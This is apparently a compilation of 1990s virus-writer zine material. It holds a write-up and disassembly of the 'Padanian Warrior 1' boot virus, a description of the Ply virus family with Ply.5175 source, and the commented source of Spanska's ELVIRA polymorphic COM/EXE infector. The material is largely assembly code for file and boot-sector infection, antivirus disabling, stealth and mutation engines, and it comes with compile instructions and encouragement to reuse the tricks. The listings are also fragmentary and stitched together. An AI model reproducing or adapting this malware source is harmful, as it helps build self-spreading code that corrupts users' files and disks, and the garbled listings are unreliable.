ÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
As for other goodies I may mention that the virus uses also some 386
instructions to make the code shorter and more efficent.
The real virus name is "encrypted" at the end of the virus. To get the name
you must UUENCODE the boot sector and you will see the name 8)))))
But of course notice that IT FITS IN 448 bytes! So we can't pretend that it
will make check of every possible O.S. or PC :) This "Bad virus aspects"
section is only to give some ideas for future implementations and future
viruses, not to say that the virus is bad! The virus relays on many settings
and parameters from "normal" users, which are the real target of the virus
(real users anyway aren't so lame to get infected... and don't use d0$ ;)) )
and this is normal, since to make all the possible checks the virus may have
to use the entire floppy :) So, in my personal opinion, the Padanian Warrior 1
is effectively aimed to infect "normal" users and with those users it will
work really very fine, so I suppose it may have a good chance to stay in
the wild!
Description conclusion:
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
This is undoubtely a VERY good boot virus. It has a lot of cool things and
techs and all of this in just a sector. Expecially the port writing routine
is great for its size and the payload activation method is undoubtely very
interesting and may be interesting for payload activation for other viruses.
Well, I think that you may find many interesting tricks and implementations
that may give your next boot virus a better look :)
Greetings to the author of the Padanian Warrior 1! Hey, we all are already
waiting for the second one 8))
Virus disasm:
ÍÍÍÍÍÍÍÍÍÍÍÍÍ
And here finally we come to the virus disasm, enjoy!
To compile, use TASM 3.0 (at least to get the real first generation):
the resulting 512 bytes file must be put on a floppy boot sector...
*
.model tiny
.code
.386
; This second macro is to prevent TASM to optimize in his way the LEA
; generation... since we want the same code as in the original virus :)
lea_ok MACRO fromreg, segment, Imm16, refreg
db 08dh
ifidn <fromreg>, <di>
db 0bfh
endif
ifidn <fromreg>, <DI>
db 0bfh
endif
ifidn <fromreg>, <si>
db 0b7h
endif
ifidn <fromreg>, <SI>
db 0b7h
endif
dw Imm16
ENDM
org 0
;
; Here is placed the floppy data that will _always_ go around with the virus!
; This DBs are the first generation ones.
;
db 04dh,053h,044h,04fh,053h,035h,02eh,030h
db 000h,002h,001h,001h,000h,002h,0e0h,000h
db 040h,00bh,0f0h,009h,000h,012h,000h,002h
db 000h,000h,000h,000h,000h,078h,000h,000h
db 000h,000h,000h,029h,000h,009h,042h,026h
db 04eh,04fh,020h,04eh,041h,04dh,045h,020h
db 020h,020h,020h,046h,041h,054h,031h,032h
db 020h,020h,020h
org 3eh
virus_start:
push cs
pop ss
push cs
pop es
push cs
pop ds ; CS = DS = ES = SS
push 0f000h
pop es ; point ES to ROM
xor bx,bx
payload:
in al,40h
xor ch,al
in al,40h ; get random offset in BX
xor cl,al ; and random sector/cylinder
and cl,1fh ; in CX
mov bx,cx
in al,40h
xor dh,al ; get random head in DH
and dh,0fh
no_activation:
int 0ceh ; rewrite the virus body
; in its place (counter
; decreased)
not_from_hd:
mov word ptr ds:[7c20h],78h ; initialize the payload cntr
mov cl,7
mov dx,1f0h ; starting port - 1
; now the virus will initialize the controller, set the write mode etc...
; look at the ide_prog label for the details!
program_ide:
inc dx ; increase port
outsb ; write DS:SI to port DX
loop program_ide
already_infected:
int 19h ; reboot
; From this point the virus will be copied to 0:300h in memory and will stay
; always there...
int18_handler:
add sp,6 ; correct stack since the
; virus uses 18_tech
pusha
returning:
int 13h
popa
popf ; Pop flags
retf 2 ; Return far
leave_call:
db 0eah
orig_int13 dd 00h ; original seg:off of int13h
; int CEh will point on this
; doubleword
; here is the end of the part of the virus that is always in memory (starting
; from 0:300h up to 0:33Ch)
mov al,01h
mov ax,301h
mov cl,7 ; save it on our disk buffer
int 13h
popa
you_wont:
clc
xor ax,ax ; zero AX
jmp short exit_infect
floppy_disk:
cmp ah,2 ; are they reading?
je reading_it
reading_it:
push bx
add bh,2 ; read it in our mem buffer
int 0ceh ; (this is ES:[BX+200h])
pop bx
cld
pusha
add_l word ptr [bx+ 20h ],02h ; add 2 to our payload counter
no_bonus:
mov ax,201h ; read the dos boot sector
add bh,2 ; that is very probably
mov cl,1 ; here. this is a good
mov dx,180h ; "normal" boot sector
int 13h
exit_infect:
pushf
pusha
mov ax,202h ; read the two sectors from
mov cl,7 ; our temp disk buffer to
mov dl,80h ; his buffer in ES:BX
org 01feh
boot_marker db 55h,0AAh
org 200h
end
Ply family
ÄÄÄÄÄÄÄÄÄÄ
These are dangerous nonmemory resident parasitic viruses. They search for
all EXE files in the current directory, then write themselves to the end of
the file.
The viruses are not encrypted, but they look as polymorphic viruses. Their
codes in different infected files have very few constant bytes, and as a
result there is no constant scan string to detect these viruses. To do that
the viruses use quite complex engine that "mixes" the code in the virus
body.
The viruses contain three blocks: block of main code, block of data, block
of redirected calls.
ÚÄÄÄÄÄÄÄÄÄÄ¿
³Main Code ³
³ ³
³----------³
³Data ³
³----------³
³Redirected³
³Calls ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄ-
All assembler instructions in the Main Code are not more that 3 bytes of
length, and all instructions occupy three bytes in the virus code. If the
length of instruction is less than 3 bytes, free bytes contain NOP
instructions. As a result all instructions in the viruses occupy 3-bytes
blocks.
While infecting a file the viruses "move" the instructions in the 3-bytes
block, if there is NOP command:
There are also the data that contain 6-bytes blocks to copy the instructions
to Redirected Calls and replace them with CALL or JMP commands:
So, any instruction can be shifted in the 3-bytes blocks, it can be copied
to random selected address in the virus and then replaced with CALL or JMP
command, and existing CALLs and JMPs redirectors can be replaced with
original code. No byte is encrypted, and there are very few constant bytes
to detect the virus.
Such complex engine is not bugs-free, and the viruses often corrupt the
files while infecting them.
The viruses check the names of the files before infecting them, and do not
infect the files:
"Ply.4224,4722":
AVP AVPLITE AVPVE EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN TBSCAN TBAV
TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG TBMEM TBSETUP
TBSCANX TBUTIL VALIDATE VIRSTOP VPIC VSAFE.
"Ply.5133":
AVP AVPLITE AVPVE EICAR EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN TBSCAN
TBAV TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG TBMEM
TBSETUP TBSCANX TBUTIL VALIDATE VIRSTOP VPIC VSAFE.
"Ply.5175":
AVP AVPLITE AVPVE BAIT EICAR EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN
TBSCAN TBAV TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG
TBMEM TBSETUP TBSCANX TBUTIL VALIDATE VIRSTOP VIRUS VPIC VSAFE
Ply.5175 is a 5175 bytes parasitic direct action EXE virus. Infects every
file in current directory, when executed, by appending the virus to the
infected file. Ply.5175 has an error handler, anti-heuristic techniques,
anti-debugging techniques, retro structures and is polymorphic in file by
using its internal polymorphic engine.
.model tiny
.code
org 100h ; Origin of Ply.5175
code_begin:
delta_offset equ $+01h ; Delta offset
mov bp,100h ; BP = delta offset
poly_begin:
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop
mov ax,2020h
mov si,(4e41h-2020h) ; Disable AutoProtect and NAVTSR
add si,ax ; " " " "
nop
mov di,(4e55h-2020h) ; " " " "
add di,ax ; " " " "
nop
add ax,(0fe02h-2020h) ; " " " "
int 2fh
nop
mov ax,20e0h
add ax,(4100h-20e0h) ; Delete file
lea dx,_ncdtree ; DX = offset of _ncdtree
add dx,bp ; Add delta offset
nop
int 21h
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne prepend_nop ; Not equal? Jump to prepend_nop
nop
dec_imm8:
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
prepend_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx],al ; Prepend a NOP to the opcode
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne append_nop ; Not equal? Jump to append_nop
nop
dec_imm8_:
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
append_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx+02h],al ; Append a NOP to the opcode
call get_poly_off
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
call get_poly_off
dec cx ; Decrease CX
nop
nop
jz poly_exit ; Zero? Jump to poly_exit
nop
jmp poly_loop
poly_exit:
jmp set_dta_addr
nop
jmp find_first
nop
find_next:
mov ax,(4f00h-2020h) ; Find next matching file
add ax,2020h
find_first:
int 21h
nop
jnc examine_name ; No error? Jump to examine_name
nop
jmp virus_exit
examine_name:
mov al,'V'
nop
mov [bx+02h],al ; Correct the file specification
jmp next_name
nop
jmp_fnd_nxt:
pop di ; Load DI from stack
nop
nop
jmp find_next
open_file:
pop di ; Load DI from stack
nop
nop
inc ax ; Increase AX
nop
nop
mov [si+0eh],ax ; Store stack segment
mov cl,09h
nop
push ax ; Save AX at stack
nop
nop
shr ax,cl ; Multiply by pages
nop
ror dx,cl ; " " "
nop
stc ; Set carry flag
nop
nop
adc dx,ax ; DX = total number of 512-bytes p...
nop
pop ax ; Load AX from stack
nop
nop
and ah,00000001b
mov [si+04h],dx ; Store totalt number of 512-bytes...
mov [si+02h],ax ; Number of bytes in last 512-byte...
pop bx ; Load BX from stack
nop
nop
jmp find_next
virus_exit:
mov ax,1202h ; Get interrupt address
mov dx,24h ; Get interrupt address of interru...
call int2f_simula
ret ; Return!
endp
ret ; Return!
endp
db 00h
int01_off dw ? ; Offset of interrupt 01h
db 00h
entry_point:
jmp code_begin
end code_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PLY_5175.ASM]ÄÄ
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ ELVIRA virus by Spanska ³
; ³ Called Spanska.4250 by AV people ³
; ³ This is my fourth virus ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;
; *********************************************************************
; This virus is dedicated to a girl with black hairs and
; green eyes, a so lovely vampyre haunting Paris nights.
;
; - Greets to my friend VicodinES, Roadkill and all 29A guys
; (next time, don't fuck the cyberbar computers with your
; viruses! The day after, i couldn't send a mail to my girl.
; And for the next meeting, i will try to get up for the
; night rendez-vous in the Gran Via McDonald :)
; - French virus coders, where are you? I feel alone...
; ******************************contact me at el_gato@rocketmail.com***
;
;
; At the time it was released (September 97), the heuristic
; detection on 100 infected bait files was:
; - TBSCAN 7.07 0/100
; - TBSCANW 7.06 5/100
; - FPROT 2.26 2/100
; - AVP 3.0 (1.08) 0/100
; - FINDVIRUS 7.69 0/100
; - DRWEB 20/100
;
; generation zero size: 4297 bytes
; virus size: 4250 bytes
;
; compile it with TASM /m2 and TLINK /t
;
; Properties:
; TSR/runtime COM/EXE semi-stealth polymorphic
; Signature: "k" and seconds = 30
; No infection of some AV or command.com
; Disables stealth routine in case of archiver execution
; Immediately infects win.com (so it can infect all DOS programs
; under W3.1 or W95).
; Graphical payload with 3 messages in french, english and spanish
; (Star-Wars like effect, see extracted routine in elvira-g.com)
; Slow poly (just 365 possibilities because i'm an idiot)
;
; About the poly routine:
; As you can see, the poly engine is a very simple routine. Each
; instruction on the decryptor is set to a fixed size block (what
; i call "mutation" in the source. There are 14 different blocks.
; For each of these blocks, i have a stock of something like 10
; similar ones that perform the same operation, but with different
; manner (see end of virus; for exemple, i have 12 ways to get
; the delta offset in 23 bytes). This lame engine has some
; advantages. 1/ It's very easy and quick to code. 2/ You can add
; very easily new blocks in the stock, for example to make new
; undetectable strains. 3/ You can have a great strain variability,
; just limited by your imagination (think all the possible manners
; to replace a "mov ax, bx" or a "call XX"). Of course, there are
; some problems. 1/ Mutation start always at same offset. 2/ You
; sometimes have to "fill the holes" in blocks (with nops for
; example). 3/ Mutation stocks are big (in this virus, 2000-2500
; bytes).
code segment
assume ds:code, ss:code, cs:code, es:code
org 100h
start:
db 0E9h, 2Ch, 00 ;jmp start_virus
signature db "k" ;signature
;******************FAKE HOST***************************
mov dx, offset message ;*
mov ah, 09h ;*
int 21h ;*
mov ax,4c00h ;*
int 21h ;*
message db "------Fake host execution-----$" ;*
;******************************************************
start_virus:
mutation0:
db 0B8h, 38h, 1 ;mov ax, offset delta
db 0B9h, 0Eh, 0 ;mov cx, offset mutation1-delta
call $+3
;delta:
mov bx, sp
mov dx, ss:[bx]
sub dx, ax
mov bp, dx
add ss:[bx], cx
ret
clc
mutation1:
push es
push ds
push cs
push cs
pop es
pop ds
db 14 dup (90h)
mutation2:
db 0EBh, 0Eh ;jmp decrypte
nop
nop
nop
mutation3:
baise_flag_cryptage:
stosb
nop
nop
nop
nop
nop
mutation4:
ret
nop
nop
nop
nop
;
;----------------------decrypting routine-------------------------
;
decrypte:
mutation5:
mov cx, fin_cryptage-debut_cryptage
nop
nop
nop
mutation6:
lea si, [bp+offset debut_cryptage]
nop
nop
nop
nop
nop
nop
mutation7:
mov di, si
nop
nop
mutation8:
mov dl, cs:[bp+offset clef]
nop
nop
nop
nop
nop
mutation9:
xor_loop:
lodsb
nop
nop
nop
nop
nop
mutation10:
xor al, dl
nop
nop
nop
nop
nop
nop
nop
nop
mutation11:
call baise_flag_cryptage
db 90h, 90h, 90h, 90h, 90h
db 90h, 90h, 90h, 90h
mutation12:
dec cx
nop
nop
nop
nop
mutation13:
cmp cx, 0
nop
nop
nop
mutation14:
jne xor_loop
db 90h, 90h, 90h
db 90h, 90h
pop ds
pop es
push es
push ds
va_resident:
push 4a00h
pop ax
mov bx,0ffffh ;is there some free memory?
int 21h ;return bx = memory - max size
dec ax
mov es,ax ;es points on the
inc ax ;new MCB
installe:
push 3521h
pop ax
int 21h ;return bx=offset, es=segment
pop ds
mov ds:[offset ip_21-offset start_virus], bx ;save offset
mov ds:[offset cs_21-offset start_virus], es ;save segment
;------ 3) Am i WIN.COM?
i_am_not_win:
call infecte_win ;infect win.com
i_am_win:
jmp deja_installe
nouvelle_int_21:
vieille_int_21:
db 0EAh ;EAh=JMP FAR
ip_21 dw ? ;offset old int
cs_21 dw ? ;segment old int
iret
dir_stealth:
xor ah, 55h
pushf ;simulation of an int 21h, so push flags
push cs ;and segment
call vieille_int_21 ;call old int 21h
or al, al ;if al=0 all is OK
jnz exit_fcb ;if al<>0 stop stealth
push ax
push bx
push es
push 5100h ;get current psp
pop ax
int 21h ;return segment psp in bx, offset in dx
mov es, bx ;now es = segment psp
cmp bx, es:[16h] ;come from DOS?
jnz exit_fcb2 ;no => stop stealth
mov bx, dx ;bx= psp offset
mov al, [bx] ;extended fcb?
push ax ;save marker of extended fcb
push 2F00h ;get current dta
pop ax
int 21h ;return in es:bx dta position
pop ax ;get back fcb marker
inc al ;FFh+1=0, so if extended z=0
jnz no_fix ;no extended
add bx, 7 ;extended: offset is 7 bytes more
no_fix:
mov al, es:[bx+17h] ;time in al
and al, 00011111b ;just look at seconds
xor al, 00001111b ;seconds = 30?
jne exit_fcb2 ;no => stop stealth
cmp word ptr es:[bx+1fh], 0 ;prog<65000?
jne soustraction ;no => stealth it
cmp word ptr es:[bx+1dh], 500+endvirus-start_virus ;prog<virus size+500?
jb exit_fcb2 ;yes => no stealth
soustraction:
sub word ptr es:[bx+1dh], endvirus-start_virus ;substract virus size
sbb word ptr es:[bx+1fh], 0
exit_fcb2:
pop es
pop bx
pop ax
exit_fcb:
iret
infecte:
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
lodsw
mov cs:[f_ext-start_virus], ax ;put extension in memory
lodsb
mov cs:[f_ext-start_virus+2], al
xor cx, cx
push 4301h ;attribs to zero
pop ax
int 21h
cont:
xchg ax, bx ;handle in bx
mov word ptr cs:[f_handle-start_virus], bx
compare_suite:
cmp ds:[f_ext-start_virus], "OC"
jne pas_bonne_ext
cmp byte ptr ds:[f_ext-start_virus+2], "M"
je infecte_com
pas_bonne_ext:
jmp ferme_et_redonne_la_main_sans_infection
infecte_com:
cmp byte ptr ds:[exehead-start_virus+3], "k" ;already infected?
jz pas_bonne_ext ;yes => do not infect
ecriture_com:
sub ax, 3 ;size-3 (cause JMP at start)
push ax ;save corrected size
CALL POLY_DEPUIS_RESIDENT
jmp ferme_et_redonne_la_main
infecte_exe:
cmp byte ptr ds:[exehead-start_virus+18h], 40h ;windows file?
je exe_pas_bon ;yes => stop
cmp byte ptr ds:[exehead-start_virus+12h], "k" ;already infected?
je exe_pas_bon ;yes => stop
mov ax, word ptr ds:[exehead-start_virus] ;good MZ header?
add ah, al ;add M+Z
cmp ah,0A7h ;avoid flag Z
je exe_bon
exe_pas_bon:
jmp ferme_et_redonne_la_main_sans_infection
exe_bon:
push ax
mov ax, word ptr cs:[exehead-start_virus+08h]
mov cl, 4
shl ax, cl
mov cx, ax
pop ax
sub ax, cx
sbb dx, 0
pop dx
pop ax
push ax
add ax, endvirus-start_virus
adc dx, 0
mov cl, 7
shl dx, cl
mov cl, 9
shr ax, cl
add ax, dx
inc ax
mov word ptr cs:[exehead-start_virus+04h], ax
pop ax
add ax, endvirus-start_virus
and ah, 1
mov word ptr cs:[exehead-start_virus+02h], ax
CALL POLY_DEPUIS_RESIDENT
jmp ferme_et_redonne_la_main
ferme_et_redonne_la_main_sans_infection:
ferme_et_redonne_la_main:
time_date:
push 5701h ;change time/date
pop ax ;avoid flag F
int 21h
redonne_la_main_attributs:
xor ch, ch
mov byte ptr cl, cs:[f_attrib-start_virus] ;set back attribs
push 4301h
pop ax
int 21h
redonne_la_main:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
deja_installe:
pop ds ;get original segments
pop es
bombe_ou_pas:
mov ah, 2Ch ;internal clock: return ch=hour and cl=minute
int 21h
cmp cl, 30d ;are we at 30'?
jne com_ou_exe ;no => terminate
cmp dh, 15d ;yes => test seconds
ja com_ou_exe ;if seconds > 15 we finish
jmp bombe ;if seconds < 15 the bomb explodes! (1/240)
com_ou_exe:
cmp byte ptr cs:0, 0CDh ;a COM always have an INT 20h at offset 0
je redonne_main_com
mov ax, es
add ax, 10h
add word ptr cs:[bp+vCS], ax
cli
add ax, word ptr cs:[bp+vSS]
mov ss, ax
mov sp, word ptr cs:[bp+vSP]
sti
call annuler_registres
redonne_main_com:
mov cx, word ptr [bp+offset contenu] ;transfer 4 first bytes
mov cs:[100h], cx ;to file start in memory
mov cx, word ptr [bp+offset contenu+2] ;avoid flag O
mov cs:[102h], cx
mov di, 101h ;put 100h into stack for the RET
dec di ;avoid flag B
push di
call annuler_registres
ret
annuler_registres:
xor ax, ax
xor bx, bx
xor cx, cx
xor dx, dx
xor di, di
xor si, si
xor bp, bp
ret
;**********************************************************************
;*************** infect win.com in runtime mode ***********************
;**********************************************************************
infecte_win:
push ds
push es
push cs
push cs
pop ds
pop es
suite_win:
push 4300h
pop ax
int 21h
mov byte ptr cs:[bp+f_attrib], al ;attribs in memory
xor cx, cx
push 4301h ;attribs to zero
pop ax
int 21h
remise_en_etat:
mov ah, 3Eh ;close file
int 21h
remise_en_etat2:
mov cl, byte ptr cs:[bp+offset f_attrib] ;attribs in cl
lea dx, [bp+offset file_win]
push 4301h ;change attribs
pop ax ;avoid flag F
int 21h
jmp fin_win
continue_inf_win:
lea si, cs:[bp+offset contenu] ;4 first bytes
lea di, cs:[bp+offset win4octets] ;in a temp buffer
movsw
movsw
fin_win:
pop es
pop ds
ret
;*******************************************************
;******************** BOMB *****************************
;*******************************************************
bombe:
largeur equ 255
profondeur equ 40
push cs
push cs
pop ds
pop es
terrain:
;--------------------go to VGA mode 13h-------------------------------
xor dx, dx
lea si, [bp+msg_bombe+23]
push si
pop di
mov ax, 3
mov bx, 23*3
call mute_bloc
xor bh, bh
mov ah,02h
int 10h
push cx
mov cx, 23
affiche_ligne:
lodsb
mov bl, 1
mov ah, 0Eh
int 10h
loop affiche_ligne
pop cx
pas_ligne_3:
add dh, 1
loop affiche_message
;--------------initialize segments-----------------------
mov ax, cs
add ah, 32 ;data will be on a stock segment far
mov es, ax ;away from actual code
push es ;on stack (cf [@@] + bas)
table:
mov bl, cl ;X: 0<bl<255
mov al, 128 ;center it
sub al, bl ;-128<al<128
stosb ;stock X
loop table
;-------------------animation of letters-----------------------------
;here ds=video, es=stock
push ds
pop es ;es=video now
pop ds ;ds to stock segment (cf [@@])
anime:
;***********************
mov dx,3dah ;*
VRT: ;*
in al,dx ;*
test al,8 ;*
jnz VRT ;* wait vertical retrace
;* to avoid flicking
NoVRT: ;*
in al,dx ;*
test al,8 ;*
jz NoVRT ;*
;***********************
suite4:
add ax, (320*30)+160 ;add screen height
moyen:
stosb ;middle = 2 pixels
fond:
stosb ;little = 1 pixel
pas_plot:
z dw ?
;****************************************************
;********** STUPID MUTATION ENGINE ******************
;****************************************************
poly_depuis_runtime:
push ax
push bx
push cx
push dx
push es
push ds
push bp
jmp overwrite
poly_depuis_resident:
push ax
push bx
push cx
push dx
push es
push ds
push bp
overwrite:
lea si, [bp+_mutation0] ;stock of possible mutations
lea di, [bp+mutation0] ;offset of mutation in decryptor
mov ax, 12 ;number of possibilities
mov bx, 23 ;byte number of this mutation
call mute_bloc ;random select one possibility
cryptage_neg:
mov byte ptr cs:[bp+type_cryptage], 5
lea si, [bp+_mutation10sixte]
lea di, [bp+mutation10]
mov ax, 4
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages
cryptage_not:
mov byte ptr cs:[bp+type_cryptage], 4
lea si, [bp+_mutation10quinte]
lea di, [bp+mutation10]
mov ax, 4
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages
cryptage_inc:
mov byte ptr cs:[bp+type_cryptage], 3
lea si, [bp+_mutation10quart]
lea di, [bp+mutation10]
mov ax, 5
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages
cryptage_rol:
mov byte ptr cs:[bp+type_cryptage], 2
lea si, [bp+_mutation10ter]
lea di, [bp+mutation10]
mov ax, 4
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages
cryptage_add:
mov byte ptr cs:[bp+type_cryptage], 1
lea si, [bp+_mutation10bis]
lea di, [bp+mutation10]
mov ax, 5
mov bx, 10
call mute_bloc
jmp evite_autres_cryptages
cryptage_xor:
mov byte ptr cs:[bp+type_cryptage], 0
lea si, [bp+_mutation10]
lea di, [bp+mutation10]
mov ax, 8
mov bx, 10
call mute_bloc
evite_autres_cryptages:
lea si, [bp+_mutation11]
lea di, [bp+mutation11]
mov ax, 6
mov bx, 12
call mute_bloc
neg_crypte:
lodsb
neg al
stosb
loop neg_crypte
jmp evite_autres_loops
not_crypte:
lodsb
not al
stosb
loop not_crypte
jmp evite_autres_loops
dec_crypte:
lodsb
dec al
stosb
loop dec_crypte
jmp evite_autres_loops
ror_crypte:
lodsb
ror al, 1
stosb
loop ror_crypte
jmp evite_autres_loops
sub_crypte:
lodsb
sub al, dl
stosb
loop sub_crypte
jmp evite_autres_loops
xor_crypte:
lodsb
xor al, dl
stosb
loop xor_crypte
evite_autres_loops:
mov al, dl
stosb
pop bp
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ret
aleatoire:
push bx
push dx ;i've made a little error in this routine,
push cx ;because i wanted to make slow poly with:
xchg ax, bx
mov ah, 2Ah ;get date: return dh=month dl=day
int 21h
xchg dx, ax ;i didn't thought that will restrict the
xor ax, 0FFFFh ;number of possible mutants to 365 (thanks
xor dx, dx ;to AVP to have shown me this error). Replace
div bx ;the "get date" (mov ah, 2Ah) by a "get time"
xchg ax, dx ;(mov ah, 2Ch) and you will have millions
pop cx ;of possible mutants.
pop dx
pop bx
ret
mute_bloc:
call aleatoire
mov cx, bx
mul bx
add si, ax
rep movsb
ret
;-------------possible mutations------------------------
_mutation0:
mov di, sp
call $+4
;delta:
ret
dec di
dec di
db 36h, 81h, 2Dh, 34h, 1 ;sub ss:[di], offset delta
mov bp, ss:[di]
add word ptr ss:[di], offset mutation1
db 0EBh, 0EEh ;jmp delta
mov si, sp
call $+4
;delta:
ret
dec si
dec si
db 36h, 81h, 2Ch, 34h, 1 ;sub ss:[si], offset delta
mov bp, ss:[si]
add word ptr ss:[si], offset mutation1
db 0EBh, 0EEh ;jmp delta
mov si, sp
call $+5
;delta:
int 20h
dec si
dec si
db 36h, 81h, 2Ch, 34h, 1 ;sub ss:[si], offset delta
mov bp, ss:[si]
add word ptr ss:[si], offset mutation1
ret
nop
mov di, sp
sub di, 2
call $+3
;delta:
db 36h, 81h, 2Dh, 38h, 1 ;sub ss:[di], offset delta
mov bp, ss:[di]
add word ptr ss:[di], offset mutation1
ret
nop
nop
nop
nop
nop
call $+3
;delta:
mov bp, sp
mov ax, [bp]
db 83h, 46h, 0, 0Fh ;add word ptr [bp], mutation1-delta
db 2Dh, 37h, 1 ;sub ax, offset delta
mov bp, ax
ret
call $+4
nop
;delta:
mov ax, sp
xchg ax, bx
mov ax, ss:[bx]
inc ax
db 36h, 83h, 07, 14h ;add word ptr ss:[bx], mutation1-delta+1
db 2Dh, 33h, 1 ;sub ax, offset delta
mov bp, ax
ret
nop
nop
sub bx, bx
or bx, sp
dec bx
call $+3
;delta:
dec bx
db 36h, 81h, 2Fh, 37h, 1 ;sub ss:[bx], offset delta
mov bp, ss:[bx]
db 36h, 81h, 07, 46h, 1 ;add word ptr ss:[bx], offset mutation1
ret
nop
call $+7
;delta:
mov cl, 2
db 0E2h, 0Fh ;loop mutation1
mov ax, 0FFFFh
and ax, sp
xchg ax, bx
mov ax, ss:[bx]
db 2Dh, 33h, 1 ;sub ax, offset delta
mov bp, ax
ret
mov ax, sp
dec ax
dec ax
xchg ax, bx
call $+3
;delta:
db 36h, 81h, 2Fh, 37h, 1 ;sub ss:[bx], offset delta
mov bp, ss:[bx]
db 36h, 81h, 07, 46h, 1 ;add word ptr ss:[bx], offset mutation1
ret
nop
mov bx, sp
call $+3
;delta:
db 36h, 81h, 6Fh, 0FEh, 34h, 1 ;sub ss:[bx-2], offset delta
mov bp, ss:[bx-2]
add word ptr ss:[bx-2], offset mutation1
ret
int 3h
call $+3
;delta:
mov bx, sp
mov ax, ss:[bx]
db 05, 14h, 0 ;add ax, mutation1-delta
db 36h, 81h, 2Fh, 32h, 1 ;sub ss:[bx], offset delta
mov bp, ss:[bx]
mov ss:[bx], ax
ret
_mutation1:
push es
push ds
push cs
push cs
pop es
pop ds
db 10 dup (90h)
clc
db 2 dup (90h)
clc
db 9 dup (90h)
push es
nop
push ds
nop
push cs
nop
pop es
nop
push cs
nop
pop ds
mov ax, es
push ax
mov ax, ds
push ax
mov ax, cs
push ax
push ax
pop bx
pop bx
mov es, bx
mov ds, bx
db 4 dup (90h)
nop
mov bx, es
push bx
mov cx, ds
push cx
mov dx, cs
mov es, dx
mov ds, dx
nop
xor ax, 0
db 3 dup (90h)
nop
nop
mov ax, es
nop
mov bx, ds
nop
mov cx, cs
nop
push cx
nop
push cx
nop
pop ds
nop
pop es
push ax
push bx
xor dx, dx
mov cx, es
or dx, cx
push dx
xor cx, cx
mov dx, ds
or cx, dx
push cx
mov cx, cs
push cx
pop es
mov ds, cx
dec sp
dec sp
mov bx, sp
mov ss:[bx], es
dec sp
dec sp
mov bx, sp
mov ss:[bx], ds
mov ax, cs
mov es, ax
mov ds, ax
nop
sub sp, 4
mov di, sp
mov ss:[di], ds
mov ss:[di+2], es
push cs
mov si, sp
mov es, ss:[si]
pop ds
_mutation2:
db 90h ;nop
db 33h, 0C0h ;xor ax, ax
db 74h, 0Bh ;je decrypte
db 90h ;nop
db 0EBh, 0Dh ;jmp decrypte
db 90h ;nop
clc
db 90h ;nop
db 34h, 0FFh ;xor al, 0FFh
db 75h, 0Bh ;jne decrypte
db 90h ;nop
db 90h ;nop
db 0E9h, 0Bh, 0 ;jmp near decrypte
_mutation3:
stosb
nop
nop
nop
nop
clc
nop
nop
nop
nop
nop
stosb
mov es:[di], al
xchg ax, di
inc ax
xchg ax, di
xchg ax, dx
mov ds:[di], dl
inc di
xchg ax, dx
nop
inc di
mov es:[di-1],al
nop
add di, 1
xchg byte ptr [di-1], al;3
mov byte ptr [di], 0FFh
and byte ptr [di], al
inc di
_mutation4:
ret
nop
nop
nop
clc
nop
nop
nop
nop
ret
pop ax
jmp ax
nop
nop
nop
pop bx
jmp bx
nop
xchg ax, cx
pop cx
xchg ax, cx
jmp ax
xchg ax, dx
pop dx
xchg ax, dx
jmp ax
pop ax
pushf
push cs
push ax
iret
pop bx
pushf
push cs
push bx
iret
_mutation5:
nop
nop
nop
mov cx, fin_cryptage-debut_cryptage
nop
mov dx, fin_cryptage-debut_cryptage
xchg cx, dx
xor cx, cx
add cx, fin_cryptage-debut_cryptage
xor ax, ax
add ax, fin_cryptage-debut_cryptage
xchg ax, cx
_mutation6:
nop
nop
nop
nop
nop
nop
lea si, [bp+offset debut_cryptage]
mov ax, bp
add ax, offset debut_cryptage+9
mov si, ax
sub si, 9
sub bx, bx
xor bx, offset debut_cryptage
add bx, bp
xchg si, bx
xor dx, dx
add dx, bp
add dx, offset debut_cryptage
mov si, dx
mov bx, bp
mov ax, offset debut_cryptage+1
add ax, bx
mov si, ax
dec si
push bp
pop ax
add ax, offset debut_cryptage-1
inc ax
mov bx, ax
mov si, bx
_mutation7:
mov di, si
nop
nop
nop
nop
mov di, si
nop
push si
pop di
nop
push si
pop dx
xchg dx, di
xchg si, di
mov si, di
push si
pop ax
xchg ax, di
nop
sub di, di
xor di, si
mov ax, si
mov di, ax
xchg si, ax
xchg ax, di
mov si, di
;8/ mov dl, cs:[bp+offset clef] in 10 bytes (without CX, SI, DI)
_mutation8:
nop
nop
nop
nop
nop
